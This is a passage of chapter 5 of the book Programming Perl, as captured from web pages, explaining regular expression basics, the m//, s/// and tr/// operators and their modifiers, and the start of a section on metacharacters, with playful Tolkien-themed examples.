But matching and substituting are such fundamental tasks in Perl that they merit one-letter operators: m/PATTERN/ and s/PATTERN/REPLACEMENT/ (m// and s///, for short). Not only are they syntactically brief, but they're also parsed like double-quoted strings rather than ordinary operators; nevertheless, they operate like operators, so we'll call them that. Throughout this chapter, you'll see these operators used to match patterns against a string. If some portion of the string fits the pattern, we say that the match is successful. There are lots of cool things you can do with a successful pattern match. In particular, if you are using s///, a successful match causes the matched portion of the string to be replaced with whatever you specified as the REPLACEMENT.

This chapter is all about how to build and use patterns. Perl's regular expressions are potent, packing a lot of meaning into a small space. They can therefore be daunting if you try to intuit the meaning of a long pattern as a whole. But if you can break it up into its parts, and if you know how the Engine interprets those parts, you can understand any regular expression. It's not unusual to see a hundred line C or Java program expressed with a one-line regular expression in Perl. That regex may be a little harder to understand than any single line out of the longer program; on the other hand, the regex will likely be much easier to understand than the longer program taken as a whole. You just have to keep these things in perspective.

5.1. The Regular Expression Bestiary

Before we dive into the rules for interpreting regular expressions, let's see what some patterns look like. Most characters in a regular expression simply match themselves. If you string several characters in a row, they must match in order, just as you'd expect. So if you write the pattern match:

/Frodo/
you can be sure that the pattern won't match unless the string contains the substring "Frodo" somewhere. (A substring is just a part of a string.) The match could be anywhere in the string, just as long as those five characters occur somewhere, next to each other and in that order.

Other characters don't match themselves, but "misbehave" in some way. We call these metacharacters. (All metacharacters are naughty in their own right, but some are so bad that they also cause other nearby characters to misbehave as well.)

Here are the miscreants:

\ | ( ) [ { ^ $ * + ? .
Metacharacters are actually very useful and have special meanings inside patterns; we'll tell you all those meanings as we go along. But we do want to reassure you that you can always match any of these twelve characters literally by putting a backslash in front of it. For example, backslash is itself a metacharacter, so to match a literal backslash, you'd backslash the backslash: \\.

You see, backslash is one of those characters that makes other characters misbehave. It just works out that when you make a misbehaving metacharacter misbehave, it ends up behaving--a double negative, as it were. So backslashing a character to get it to be taken literally works, but only on punctuational characters; backslashing an (ordinarily well-behaved) alphanumeric character does the opposite: it turns the literal character into something special. Whenever you see such a two-character sequence:

\b \D \t \3 \s

you'll know that the sequence is a metasymbol that matches something strange. For instance, \b matches a word boundary, while \t matches an ordinary tab character. Notice that a tab is one character wide, while a word boundary is zero characters wide because it's the spot between two characters. So we call \b a zero-width assertion. Still, \t and \b are alike in that they both assert something about a particular spot in the string. Whenever you assert something in a regular expression, you're just claiming that that particular something has to be true in order for the pattern to match.

Most pieces of a regular expression are some sort of assertion, including the ordinary characters that simply assert that they match themselves. To be precise, they also assert that the next thing will match one character later in the string, which is why we talk about the tab character being "one character wide". Some assertions (like \t) eat up some of the string as they match, and others (like \b) don't. But we usually reserve the term "assertion" for the zero-width assertions. To avoid confusion, we'll call the thing with width an atom. (If you're a physicist, you can think of nonzero-width atoms as massive, in contrast to the zero-width assertions, which are massless like photons.)

You'll also see some metacharacters that aren't assertions; rather, they're structural (just as braces and semicolons define the structure of ordinary Perl code, but don't really do anything). These structural metacharacters are in some ways the most important ones because the crucial first step in learning to read regular expressions is to teach your eyes to pick out the structural metacharacters. Once you've learned that, reading regular expressions is a breeze.[1]

[1]Admittedly, a stiff breeze at times, but not something that will blow you away.

One such structural metacharacter is the vertical bar, which indicates alternation:

/Frodo|Pippin|Merry|Sam/

That means that any of those strings can trigger a match; this is covered in Section 5.8, "Alternation" later in the chapter. And in Section 5.7, "Capturing and Clustering" after that, we'll show you how to use parentheses around portions of your pattern to do grouping:

/(Frodo|Drogo|Bilbo) Baggins/
or even:
/(Frod|Drog|Bilb)o Baggins/

Another thing you'll see are what we call quantifiers, which say how many of the previous thing should match in a row. Quantifiers look like this:

*  +  ?  *?  {3}  {2,5}
You'll never see them in isolation like that, though. Quantifiers only make sense when attached to atoms--that is, to assertions that have width.[2] Quantifiers attach to the previous atom only, which in human terms means they normally quantify only one character. If you want to match three copies of "bar" in a row, you need to group the individual characters of "bar" into a single "molecule" with parentheses, like this:
/(bar){3}/

[2] Quantifiers are a bit like the statement modifiers in Chapter 4, "Statements and Declarations", which can only attach to a single statement. Attaching a quantifier to a zero-width assertion would be like trying to attach a while modifier to a declaration--either of which makes about as much sense as asking your local apothecary for a pound of photons. Apothecaries only deal in atoms and such.

That will match "barbarbar". If you'd said /bar{3}/, that would match "barrr"--which might qualify you as Scottish but disqualify you as barbarbaric. (Then again, maybe not. Some of our favorite metacharacters are Scottish.) For more on quantifiers, see "Quantifiers" later.

Now that you've seen a few of the beasties that inhabit regular expressions, you're probably anxious to start taming them. However, before we discuss regular expressions in earnest, we need to backtrack a little and talk about the pattern-matching operators that make use of regular expressions. (And if you happen to spot a few more regex beasties along the way, just leave a decent tip for the tour guide.)

Previous | Home | Next
4.9. Pragmas | Book Index | 5.2. Pattern-Matching Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pattern-Matching Operators (Programming Perl)

 Book Home Programming PerlSearch this book

5.2. Pattern-Matching Operators

Zoologically speaking, Perl's pattern-matching operators function as a kind of cage for regular expressions, to keep them from getting out. This is by design; if we were to let the regex beasties wander throughout the language, Perl would be a total jungle. The world needs its jungles, of course--they're the engines of biological diversity, after all--but jungles should stay where they belong. Similarly, despite being the engines of combinatorial diversity, regular expressions should stay inside pattern match operators where they belong. It's a jungle in there.

As if regular expressions weren't powerful enough, the m// and s/// operators also provide the (likewise confined) power of double-quote interpolation. Since patterns are parsed like double-quoted strings, all the normal double-quote conventions will work, including variable interpolation (unless you use single quotes as the delimiter) and special characters indicated with backslash escapes. (See "Specific Characters" later in this chapter.) These are applied before the string is interpreted as a regular expression. (This is one of the few places in the Perl language where a string undergoes more than one pass of processing.) The first pass is not quite normal double-quote interpolation, in that it knows what it should interpolate and what it should pass on to the regular expression parser. So, for instance, any $ immediately followed by a vertical bar, closing parenthesis, or the end of the string will be treated not as a variable interpolation, but as the traditional regex assertion meaning end-of-line. So if you say:

$foo = "bar";
/$foo$/;
the double-quote interpolation pass knows that those two $ signs are functioning differently. It does the interpolation of $foo, then hands this to the regular expression parser:
/bar$/;
Another consequence of this two-pass parsing is that the ordinary Perl tokener finds the end of the regular expression first, just as if it were looking for the terminating delimiter of an ordinary string. Only after it has found the end of the string (and done any variable interpolation) is the pattern treated as a regular expression. Among other things, this means you can't "hide" the terminating delimiter of a pattern inside a regex construct (such as a character class or a regex comment, which we haven't covered yet). Perl will see the delimiter wherever it is and terminate the pattern at that point.

You should also know that interpolating variables into a pattern slows down the pattern matcher, because it feels it needs to check whether the variable has changed, in case it has to recompile the pattern (which will slow it down even further). See "Variable Interpolation" later in this chapter.

The tr/// transliteration operator does not interpolate variables; it doesn't even use regular expressions! (In fact, it probably doesn't belong in this chapter at all, but we couldn't think of a better place to put it.) It does share one feature with m// and s///, however: it binds to variables using the =~ and !~ operators.

The =~ and !~ operators, described in Chapter 3, "Unary and Binary Operators", bind the scalar expression on their lefthand side to one of three quote-like operators on their right: m// for matching a pattern, s/// for substituting some string for a substring matched by a pattern, and tr/// (or its synonym, y///) for transliterating one set of characters to another set. (You may write m// as //, without the m, if slashes are used for the delimiter.) If the righthand side of =~ or !~ is none of these three, it still counts as a m// matching operation, but there'll be no place to put any trailing modifiers (see "Pattern Modifiers" later), and you'll have to handle your own quoting:

print "matches" if $somestring =~ $somepattern;
Really, there's little reason not to spell it out explicitly:
print "matches" if $somestring =~ m/$somepattern/;
When used for a matching operation, =~ and !~ are sometimes pronounced "matches" and "doesn't match" respectively (although "contains" and "doesn't contain" might cause less confusion).

Apart from the m// and s/// operators, regular expressions show up in two other places in Perl. The first argument to the split function is a special match operator specifying what not to return when breaking a string into multiple substrings. See the description and examples for split in Chapter 29, "Functions". The qr// ("quote regex") operator also specifies a pattern via a regex, but it doesn't try to match anything (unlike m//, which does). Instead, the compiled form of the regex is returned for future use. See "Variable Interpolation" for more information.

You apply one of the m//, s///, or tr/// operators to a particular string with the =~ binding operator (which isn't a real operator, just a kind of topicalizer, linguistically speaking). Here are some examples:

$haystack =~ m/needle/                # match a simple pattern
$haystack =~  /needle/                # same thing

$italiano =~ s/butter/olive oil/      # a healthy substitution

$rotate13 =~ tr/a-zA-Z/n-za-mN-ZA-M/  # easy encryption (to break)
Without a binding operator, $_ is implicitly used as the "topic":
/new life/ and              # search in $_ and (if found)
    /new civilizations/     #    boldly search $_ again

s/sugar/aspartame/          # substitute a substitute into $_

tr/ATCG/TAGC/               # complement the DNA stranded in $_
Because s/// and tr/// change the scalar to which they're applied, you may only use them on valid lvalues:
"onshore" =~ s/on/off/;      # WRONG: compile-time error
However, m// works on the result of any scalar expression:
if ((lc $magic_hat->fetch_contents->as_string) =~ /rabbit/) {
    print "Nyaa, what's up doc?\n";
}
else {
    print "That trick never works!\n";
}
But you have to be a wee bit careful, since =~ and !~ have rather high precedence--in our previous example the parentheses are necessary around the left term.[3] The !~ binding operator works like =~, but negates the logical result of the operation:
if ($song !~ /words/) {
    print qq/"$song" appears to be a song without words.\n/;
}
Since m//, s///, and tr/// are quote operators, you may pick your own delimiters. These work in the same way as the quoting operators q//, qq//, qr//, and qw// (see the section Section 5.6.3, "Pick Your Own Quotes" in Chapter 2, "Bits and Pieces").
$path =~ s#/tmp#/var/tmp/scratch#;

if ($dir =~ m[/bin]) {
    print "No binary directories please.\n";
}
When using paired delimiters with s/// or tr///, if the first part is one of the four customary bracketing pairs (angle, round, square, or curly), you may choose different delimiters for the second part than you chose for the first:
s(egg)<larva>;
s{larva}{pupa};
s[pupa]/imago/;
Whitespace is allowed in front of the opening delimiters:
s (egg)   <larva>;
s {larva} {pupa};
s [pupa]  /imago/;
Each time a pattern successfully matches (including the pattern in a substitution), it sets the $`, $&, and $' variables to the text left of the match, the whole match, and the text right of the match. This is useful for pulling apart strings into their components:
"hot cross buns" =~ /cross/;
print "Matched: <$`> $& <$'>\n";    # Matched: <hot > cross < buns>
print "Left:    <$`>\n";            # Left:    <hot >
print "Match:   <$&>\n";            # Match:   <cross>
print "Right:   <$'>\n";            # Right:   < buns>
For better granularity and efficiency, use parentheses to capture the particular portions that you want to keep around. Each pair of parentheses captures the substring corresponding to the subpattern in the parentheses. The pairs of parentheses are numbered from left to right by the positions of the left parentheses; the substrings corresponding to those subpatterns are available after the match in the numbered variables, $1, $2, $3, and so on:[4]
$_ = "Bilbo Baggins's birthday is September 22";
/(.*)'s birthday is (.*)/;
print "Person: $1\n";
print "Date: $2\n";
$`, $&, $', and the numbered variables are global variables implicitly localized to the enclosing dynamic scope. They last until the next successful pattern match or the end of the current scope, whichever comes first. More on this later, in a different scope.

[3] Without the parentheses, the lower-precedence lc would have applied to the whole pattern match instead of just the method call on the magic hat object.

[4] Not $0, though, which holds the name of your program.

Once Perl sees that you need one of $`, $&, or $' anywhere in the program, it provides them for every pattern match. This will slow down your program a bit. Perl uses a similar mechanism to produce $1, $2, and so on, so you also pay a price for each pattern that contains capturing parentheses. (See "Clustering" to avoid the cost of capturing while still retaining the grouping behavior.) But if you never use $`$&, or $', then patterns without capturing parentheses will not be penalized. So it's usually best to avoid $`, $&, and $' if you can, especially in library modules. But if you must use them once (and some algorithms really appreciate their convenience), then use them at will, because you've already paid the price. $& is not so costly as the other two in recent versions of Perl.

5.2.1. Pattern Modifiers

We'll discuss the individual pattern-matching operators in a moment, but first we'd like to mention another thing they all have in common, modifiers.

Immediately following the final delimiter of an m//, s///, qr//, or tr/// operator, you may optionally place one or more single-letter modifiers, in any order. For clarity, modifiers are usually written as "the /o modifier" and pronounced "the slash oh modifier", even though the final delimiter might be something other than a slash. (Sometimes people say "flag" or "option" to mean "modifier"; that's okay too.)

Some modifiers change the behavior of the individual operator, so we'll describe those in detail later. Others change how the regex is interpreted, so we'll talk about them here. The m//, s///, and qr// operators[5] all accept the following modifiers after their final delimiter:

[5] The tr/// operator does not take regexes, so these modifiers do not apply.

Modifier | Meaning
/i | Ignore alphabetic case distinctions (case insensitive).
/s | Let . match newline and ignore deprecated $* variable.
/m | Let ^ and $ match next to embedded \n.
/x | Ignore (most) whitespace and permit comments in pattern.
/o | Compile pattern once only.

The /i modifier says to match both upper- and lowercase (and title case, under Unicode). That way /perl/i would also match the strings "PROPERLY" or "Perlaceous" (amongst other things). A use locale pragma may also have some influence on what is considered to be equivalent. (This may be a negative influence on strings containing Unicode.)

The /s and /m modifiers don't involve anything kinky. Rather, they affect how Perl treats matches against a string that contains newlines. But they aren't about whether your string actually contains newlines; they're about whether Perl should assume that your string contains a single line (/s) or multiple lines (/m), because certain metacharacters work differently depending on whether they're expected to behave in a line-oriented fashion or not.

Ordinarily, the metacharacter "." matches any one character except a newline, because its traditional meaning is to match characters within a line. With /s, however, the "." metacharacter can also match a newline, because you've told Perl to ignore the fact that the string might contain multiple newlines. (The /s modifier also makes Perl ignore the deprecated $* variable, which we hope you too have been ignoring.) The /m modifier, on the other hand, changes the interpretation of the ^ and $ metacharacters by letting them match next to newlines within the string instead of considering only the ends of the string. See the examples in the section Section 5.6, "Positions" later in this chapter.

The /o modifier controls pattern recompilation. Unless the delimiters chosen are single quotes (m'PATTERN', s'PATTERN'REPLACEMENT', or qr'PATTERN'), any variables in the pattern will be interpolated (and may cause the pattern to be recompiled) every time the pattern operator is evaluated. If you want such a pattern to be compiled once and only once, use the /o modifier. This prevents expensive run-time recompilations; it's useful when the value you are interpolating won't change during execution. However, mentioning /o constitutes a promise that you won't change the variables in the pattern. If you do change them, Perl won't even notice. For better control over recompilation, use the qr// regex quoting operator. See "Variable Interpolation" later in this chapter for details.

The /x is the expressive modifier: it allows you to exploit whitespace and explanatory comments in order to expand your pattern's legibility, even extending the pattern across newline boundaries.

Er, that is to say, /x modifies the meaning of the whitespace characters (and the # character): instead of letting them do self-matching as ordinary characters do, it turns them into metacharacters that, oddly, now behave as whitespace (and comment characters) should. Hence, /x allows spaces, tabs, and newlines for formatting, just like regular Perl code. It also allows the # character, not normally special in a pattern, to introduce a comment that extends through the end of the current line within the pattern string.[6] If you want to match a real whitespace character (or the # character), then you'll have to put it into a character class, or escape it with a backslash, or encode it using an octal or hex escape. (But whitespace is normally matched with a \s* or \s+ sequence, so the situation doesn't arise often in practice.)

[6] Be careful not to include the pattern delimiter in the comment--because of its "find the end first" rule, Perl has no way of knowing you didn't intend to terminate the pattern at that point.

Taken together, these features go a long way toward making traditional regular expressions a readable language. In the spirit of TMTOWTDI, there's now more than one way to write a given regular expression. In fact, there's more than two ways:

m/\w+:(\s+\w+)\s*\d+/;       # A word, colon, space, word, space, digits.

m/\w+: (\s+ \w+) \s* \d+/x;  # A word, colon, space, word, space, digits.

m{
    \w+:                     # Match a word and a colon.

    (                        # (begin group)
         \s+                 # Match one or more spaces.
         \w+                 # Match another word.
    )                        # (end group)
    \s*                      # Match zero or more spaces.
    \d+                      # Match some digits
}x;
We'll explain those new metasymbols later in the chapter. (This section was supposed to be about pattern modifiers, but we've let it get out of hand in our excitement about /x. Ah well.) Here's a regular expression that finds duplicate words in paragraphs, stolen right out of the Perl Cookbook. It uses the /x and /i modifiers, as well as the /g modifier described later.
# Find duplicate words in paragraphs, possibly spanning line boundaries.
#   Use /x for space and comments, /i to match both `is'
#   in "Is is this ok?", and use /g to find all dups.
$/ = "";        # "paragrep" mode
while (<>) {
    while ( m{
                \b            # start at a word boundary
                (\w\S+)       # find a wordish chunk
                (
                    \s+       # separated by some whitespace
                    \1        # and that chunk again
                ) +           # repeat ad lib
                \b            # until another word boundary
             }xig
         )
    {
        print "dup word '$1' at paragraph $.\n";
    }
}
When run on this chapter, it produces warnings like this:
dup word 'that' at paragraph 100
As it happens, we know that that particular instance was intentional.

5.2.2. The m// Operator (Matching)

EXPR =~ m/PATTERN/cgimosx
EXPR =~ /PATTERN/cgimosx
EXPR =~ ?PATTERN?cgimosx
m/PATTERN/cgimosx
/PATTERN/cgimosx
?PATTERN?cgimosx
The m// operator searches the string in the scalar EXPR for PATTERN. If / or ? is the delimiter, the initial m is optional. Both ? and ' have special meanings as delimiters: the first is a once-only match; the second suppresses variable interpolation and the six translation escapes (\U and company, described later).

If PATTERN evaluates to a null string, either because you specified it that way using // or because an interpolated variable evaluated to the empty string, the last successfully executed regular expression not hidden within an inner block (or within a split, grep, or map) is used instead.

In scalar context, the operator returns true (1) if successful, false ("") otherwise. This form is usually seen in Boolean context:

if ($shire =~ m/Baggins/) { ... }  # search for Baggins in $shire
if ($shire =~ /Baggins/)  { ... }  # search for Baggins in $shire

if ( m#Baggins# )         { ... }  # search right here in $_
if ( /Baggins/ )          { ... }  # search right here in $_
Used in list context, m// returns a list of substrings matched by the capturing parentheses in the pattern (that is, $1, $2, $3, and so on) as described later under "Capturing and Clustering". The numbered variables are still set even when the list is returned. If the match fails in list context, a null list is returned. If the match succeeds in list context but there were no capturing parentheses (nor /g), a list value of (1) is returned. Since it returns a null list on failure, this form of m// can also be used in Boolean context, but only when participating indirectly via a list assignment:
if (($key,$value) = /(\w+): (.*)/) { ... }
Valid modifiers for m// (in whatever guise) are shown in Table 5-1.

Table 5.1. m// Modifiers

Modifier | Meaning
/i | Ignore alphabetic case.
/m | Let ^ and $ match next to embedded \n.
/s | Let . match newline and ignore deprecated $*.
/x | Ignore (most) whitespace and permit comments in pattern.
/o | Compile pattern once only.
/g | Globally find all matches.
/cg | Allow continued search after failed /g match.

The first five modifiers apply to the regex and were described earlier. The last two change the behavior of the match operation itself. The /g modifier specifies global matching--that is, matching as many times as possible within the string. How it behaves depends on context. In list context, m//g returns a list of all matches found. Here we find all the places someone mentioned "perl", "Perl", "PERL", and so on:

if (@perls = $paragraph =~ /perl/gi) {
    printf "Perl mentioned %d times.\n", scalar @perls;
}
If there are no capturing parentheses within the /g pattern, then the complete matches are returned. If there are capturing parentheses, then only the strings captured are returned. Imagine a string like:
$string = "password=xyzzy verbose=9 score=0";
Also imagine you want to use that to initialize a hash like this:
%hash = (password => "xyzzy", verbose => 9, score => 0);
Except, of course, you don't have a list, you have a string. To get the corresponding list, you can use the m//g operator in list context to capture all of the key/value pairs from the string:
%hash = $string =~ /(\w+)=(\w+)/g;
The (\w+) sequence captures an alphanumeric word. See the section Section 5.7, "Capturing and Clustering".

Used in scalar context, the /g modifier indicates a progressive match, which makes Perl start the next match on the same variable at a position just past where the last one stopped. The \G assertion represents that position in the string; see Section 5.6, "Positions" later in this chapter for a description of \G. If you use the /c (for "continue") modifier in addition to /g, then when the /g runs out, the failed match doesn't reset the position pointer.

If a ? is the delimiter, as in ?PATTERN?, this works just like a normal /PATTERN/ search, except that it matches only once between calls to the reset operator. This can be a convenient optimization when you want to match only the first occurrence of the pattern during the run of the program, not all occurrences. The operator runs the search every time you call it, up until it finally matches something, after which it turns itself off, returning false until you explicitly turn it back on with reset. Perl keeps track of the match state for you.

The ?? operator is most useful when an ordinary pattern match would find the last rather than the first occurrence:

open DICT, "/usr/dict/words" or die "Can't open words: $!\n";
while (<DICT>) {
    $first = $1 if ?(^neur.*)?;
    $last  = $1 if /(^neur.*)/;
}
print $first,"\n";          # prints "neurad"
print $last,"\n";           # prints "neurypnology"
The reset operator will reset only those instances of ?? compiled in the same package as the call to reset. Saying m?? is equivalent to saying ??.

5.2.3. The s/// Operator (Substitution)

LVALUE =~ s/PATTERN/REPLACEMENT/egimosx
s/PATTERN/REPLACEMENT/egimosx
This operator searches a string for PATTERN and, if found, replaces the matched substring with the REPLACEMENT text. (Modifiers are described later in this section.)
$lotr = $hobbit;           # Just copy The Hobbit
$lotr =~ s/Bilbo/Frodo/g;  #   and write a sequel the easy way.
The return value of an s/// operation (in scalar and list contexts alike) is the number of times it succeeded (which can be more than once if used with the /g modifier, as described earlier). On failure, since it substituted zero times, it returns false (""), which is numerically equivalent to 0.
if ($lotr =~ s/Bilbo/Frodo/) { print "Successfully wrote sequel." }
$change_count = $lotr =~ s/Bilbo/Frodo/g;
The replacement portion is treated as a double-quoted string. You may use any of the dynamically scoped pattern variables described earlier ($`, $&, $', $1, $2, and so on) in the replacement string, as well as any other double-quote gizmos you care to employ. For instance, here's an example that finds all the strings "revision", "version", or "release", and replaces each with its capitalized equivalent, using the \u escape in the replacement portion:
s/revision|version|release/\u$&/g;  # Use | to mean "or" in a pattern
All scalar variables expand in double-quote context, not just these strange ones. Suppose you had a %Names hash that mapped revision numbers to internal project names; for example, $Names{"3.0"} might be code-named "Isengard". You could use s/// to find version numbers and replace them with their corresponding project names:
s/version ([0-9.]+)/the $Names{$1} release/g;
In the replacement string, $1 returns what the first (and only) pair of parentheses captured. (You could use also \1 as you would in the pattern, but that usage is deprecated in the replacement. In an ordinary double-quoted string, \1 means a Control-A.)

If PATTERN is a null string, the last successfully executed regular expression is used instead. Both PATTERN and REPLACEMENT are subject to variable interpolation, but a PATTERN is interpolated each time the s/// operator is evaluated as a whole, while the REPLACEMENT is interpolated every time the pattern matches. (The PATTERN can match multiple times in one evaluation if you use the /g modifier.)

As before, the first five modifiers in Table 5-2 alter the behavior of the regex; they're the same as in m// and qr//. The last two alter the substitution operator itself.

Table 5.2. s/// Modifiers

Modifier | Meaning
/i | Ignore alphabetic case (when matching).
/m | Let ^ and $ match next to embedded \n.
/s | Let . match newline and ignore deprecated $*.
/x | Ignore (most) whitespace and permit comments in pattern.
/o | Compile pattern once only.
/g | Replace globally, that is, all occurrences.
/e | Evaluate the right side as an expression.

The /g modifier is used with s/// to replace every match of PATTERN with the REPLACEMENT value, not just the first one found. A s///g operator acts as a global search and replace, making all the changes at once, much like list m//g, except that m//g doesn't change anything. (And s///g is not a progressive match as scalar m//g was.)

The /e modifier treats the REPLACEMENT as a chunk of Perl code rather than as an interpolated string. The result of executing that code is used as the replacement string. For example, s/([0-9]+)/sprintf("%#x", $1)/ge would convert all numbers into hexadecimal, changing, for example, 2581 into 0xb23. Or suppose that, in our earlier example, you weren't sure that you had names for all the versions, so you wanted to leave any others unchanged. With a little creative /x formatting, you could say:

s{
    version
    \s+
    (
        [0-9.]+
    )
}{
    $Names{$1}
        ? "the $Names{$1} release"
        : $&
}xge;
The righthand side of your s///e (or in this case, the lower side) is syntax-checked and compiled at compile time along with the rest of your program. Any syntax error is detected during compilation, and run-time exceptions are left uncaught. Each additional /e after the first one (like /ee, /eee, and so on) is equivalent to calling eval STRING on the result of the code, once per extra /e. This evaluates the result of the code expression and traps exceptions in the special $@ variable. See the section Section 5.10.3, "Programmatic Patterns" later in the chapter for more details.

5.2.3.1. Modifying strings en passant

Sometimes you want a new, modified string without clobbering the old one upon which the new one was based. Instead of writing:

$lotr = $hobbit;
$lotr =~ s/Bilbo/Frodo/g;
you can combine these into one statement. Due to precedence, parentheses are required around the assignment, as they are with most combinations applying =~ to an expression.
($lotr = $hobbit) =~ s/Bilbo/Frodo/g;
Without the parentheses around the assignment, you'd only change $hobbit and get the number of replacements stored into $lotr, which would make a rather dull sequel.

You can't use a s/// operator directly on an array. For that, you need a loop. By a lucky coincidence, the aliasing behavior of for/foreach, combined with its use of $_ as the default loop variable, yields the standard Perl idiom to search and replace each element in an array:

for (@chapters) { s/Bilbo/Frodo/g }  # Do substitutions chapter by chapter.
s/Bilbo/Frodo/g for @chapters;       # Same thing.
As with a simple scalar variable, you can combine the substitution with an assignment if you'd like to keep the original values around, too:
@oldhues = ('bluebird', 'bluegrass',  'bluefish', 'the blues');
for (@newhues = @oldhues) { s/blue/red/ }
print "@newhues\n";           # prints: redbird redgrass redfish the reds
The idiomatic way to perform repeated substitutes on the same variable is to use a once-through loop. For example, here's how to canonicalize whitespace in a variable:
for ($string) {
    s/^\s+//;       # discard leading whitespace
    s/\s+$//;       # discard trailing whitespace
    s/\s+/ /g;      # collapse internal whitespace
}
which just happens to produce the same result as:
$string = join(" ", split " ", $string);
You can also use such a loop with an assignment, as we did in the array case:
for ($newshow = $oldshow) {
    s/Fred/Homer/g;
    s/Wilma/Marge/g;
    s/Pebbles/Lisa/g;
    s/Dino/Bart/g;
}

5.2.3.2. When a global substitution just isn't global enough

Occasionally, you can't just use a /g to get all the changes to occur, either because the substitutions have to happen right-to-left or because you need the length of $` to change between matches. You can usually do what you want by calling s/// repeatedly. However, you want the loop to stop when the s/// finally fails, so you have to put it into the conditional, which leaves nothing to do in the main part of the loop. So we just write a 1, which is a rather boring thing to do, but bored is the best you can hope for sometimes. Here are some examples that use a few more of those odd regex beasties that keep popping up:

# put commas in the right places in an integer
1 while s/(\d)(\d\d\d)(?!\d)/$1,$2/;

# expand tabs to 8-column spacing
1 while s/\t+/' ' x (length($&)*8 - length($`)%8)/e;

# remove (nested (even deeply nested (like this))) remarks
1 while s/\([^()]*\)//g;

# remove duplicate words (and triplicate (and quadruplicate...))
1 while s/\b(\w+) \1\b/$1/gi;
That last one needs a loop because otherwise it would turn this:
Paris in THE THE THE THE spring.
into this:
Paris in THE THE spring.
which might cause someone who knows a little French to picture Paris sitting in an artesian well emitting iced tea, since "th&#233;" is French for "tea". A Parisian is never fooled, of course.

5.2.4. The tr/// Operator (Transliteration)

LVALUE =~ tr/SEARCHLIST/REPLACEMENTLIST/cds
tr/SEARCHLIST/REPLACEMENTLIST/cds
For sed devotees, y/// is provided as a synonym for tr///. This is why you can't call a function named y, any more than you can call a function named q or m. In all other respects, y/// is identical to tr///, and we won't mention it again.

This operator might not appear to fit into a chapter on pattern matching, since it doesn't use patterns. This operator scans a string, character by character, and replaces each occurrence of a character found in SEARCHLIST (which is not a regular expression) with the corresponding character from REPLACEMENTLIST (which is not a replacement string). It looks a bit like m// and s///, though, and you can even use the =~ or !~ binding operators on it, so we describe it here. (qr// and split are pattern-matching operators, but you don't use the binding operators on them, so they're elsewhere in the book. Go figure.)

Transliteration returns the number of characters replaced or deleted. If no string is specified via the =~ or !~ operator, the $_ string is altered. The SEARCHLIST and REPLACEMENTLIST may define ranges of sequential characters with a dash:

$message =~ tr/A-Za-z/N-ZA-Mn-za-m/;    # rot13 encryption.
Note that a range like A-Z assumes a linear character set like ASCII. But each character set has its own ideas of how characters are ordered and thus of which characters fall in a particular range. A sound principle is to use only ranges that begin from and end at either alphabets of equal case (a-e, A-E), or digits (0-4). Anything else is suspect. When in doubt, spell out the character sets in full: ABCDE.

The SEARCHLIST and REPLACEMENTLIST are not variable interpolated as double-quoted strings; you may, however, use those backslash sequences that map to a specific character, such as \n or \015.

Table 5-3 lists the modifiers applicable to the tr/// operator. They're completely different from those you apply to m//, s///, or qr//, even if some look the same.

Table 5.3. tr/// Modifiers

Modifier | Meaning
/c | Complement SEARCHLIST.
/d | Delete found but unreplaced characters.
/s | Squash duplicate replaced characters.

If the /c modifier is specified, the character set in SEARCHLIST is complemented; that is, the effective search list consists of all the characters not in SEARCHLIST. In the case of Unicode, this can represent a lot of characters, but since they're stored logically, not physically, you don't need to worry about running out of memory.

The /d modifier turns tr/// into what might be called the "transobliteration" operator: any characters specified by SEARCHLIST but not given a replacement in REPLACEMENTLIST are deleted. (This is slightly more flexible than the behavior of some tr(1) programs, which delete anything they find in SEARCHLIST, period.)

If the /s modifier is specified, sequences of characters converted to the same character are squashed down to a single instance of the character.

If the /d modifier is used, REPLACEMENTLIST is always interpreted exactly as specified. Otherwise, if REPLACEMENTLIST is shorter than SEARCHLIST, the final character is replicated until it is long enough. If REPLACEMENTLIST is null, the SEARCHLIST is replicated, which is surprisingly useful if you just want to count characters, not change them. It's also useful for squashing characters using /s.

tr/aeiou/!/;                 # change any vowel into !
tr{/\\\r\n\b\f. }{_};        # change strange chars into an underscore

tr/A-Z/a-z/ for @ARGV;       # canonicalize to lowercase ASCII

$count = ($para =~ tr/\n//); # count the newlines in $para
$count = tr/0-9//;           # count the digits in $_

$word =~ tr/a-zA-Z//s;       # bookkeeper -> bokeper

tr/@$%*//d;                  # delete any of those
tr#A-Za-z0-9+/##cd;          # remove non-base64 chars

# change en passant
($HOST = $host) =~ tr/a-z/A-Z/;

$pathname =~ tr/a-zA-Z/_/cs; # change non-(ASCII)alphas to single underbar

tr [\200-\377]
   [\000-\177];              # strip 8th bit, bytewise
If the same character occurs more than once in SEARCHLIST, only the first is used. Therefore, this:
tr/AAA/XYZ/
will change any single character A to an X (in $_).

Although variables aren't interpolated into tr///, you can still get the same effect by using eval EXPR:

$count = eval "tr/$oldlist/$newlist/";
die if $@;  # propagates exception from illegal eval contents

One more note: if you want to change your text to uppercase or lowercase, don't use tr///. Use the \U or \L sequences in a double-quoted string (or the equivalent uc and lc functions) since they will pay attention to locale or Unicode information and tr/a-z/A-Z/ won't. Additionally, in Unicode strings, the \u sequence and its corresponding ucfirst function understand the notion of titlecase, which for some languages may be distinct from simply converting to uppercase.

Previous | Home | Next
5.1. The Regular Expression Bestiary | Book Index | 5.3. Metacharacters and Metasymbols
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Metacharacters and Metasymbols (Programming Perl)

 Book Home Programming PerlSearch this book

5.3. Metacharacters and Metasymbols

Now that we've admired all the fancy cages, we can go back to looking at the critters in the cages, those funny-looking symbols you put inside the patterns. By now you'll have cottoned to the fact that these symbols aren't regular Perl code like function calls or arithmetic operators. Regular expressions are their own little language nestled inside of Perl. (There's a bit of the jungle in all of us.)

For all their power and expressivity, patterns in Perl recognize the same 12 traditional metacharacters (the Dirty Dozen, as it were) found in many other regular expression packages:

\ | ( ) [ { ^ $ * + ? .
Some of those bend the rules, making otherwise normal characters that follow them special. We don't like to call the longer sequences "characters", so when they make longer sequences, we call them metasymbols (or sometimes just "symbols"). But at the top level, those twelve metacharacters are all you (and Perl) need to think about. Everything else proceeds from there.

Some simple metacharacters stand by themselves, like . and ^ and $. They don't directly affect anything around them. Some metacharacters work like prefix operators, governing what follows them, like \. Others work like postfix operators, governing what immediately precedes them, like *, +, and ?. One metacharacter, |, acts like an infix operator, standing between the operands it governs. There are even bracketing metacharacters that work like circumfix operators, governing something contained inside them, like (...) and [...]. Parentheses are particularly important, because they specify the bounds of | on the inside, and of *, +, and ? on the outside.
